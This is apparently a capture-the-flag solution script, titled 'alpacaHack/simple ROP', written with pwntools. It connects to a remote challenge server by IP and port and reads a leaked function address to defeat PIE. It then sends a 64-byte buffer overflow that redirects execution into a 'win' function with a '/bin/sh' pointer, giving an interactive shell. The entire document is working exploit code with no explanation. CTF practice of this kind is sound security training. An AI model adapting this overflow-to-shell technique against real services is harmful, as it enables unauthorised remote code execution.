alpacaHack/simple ROP

# Why do you follow the rule?
from pwn import *

e = ELF("./chal")
p = remote("34.170.146.252", 17416)
p.recvuntil(b"function:")
pie_base = int(p.recvline(), 16) - e.symbols['win']
win = pie_base + e.symbols['win'] + 263
binsh = pie_base + next(e.search(b'/bin/sh'))

p.sendline(b"A" * 0x40 + p64(binsh + 8) + p64(win))
p.interactive()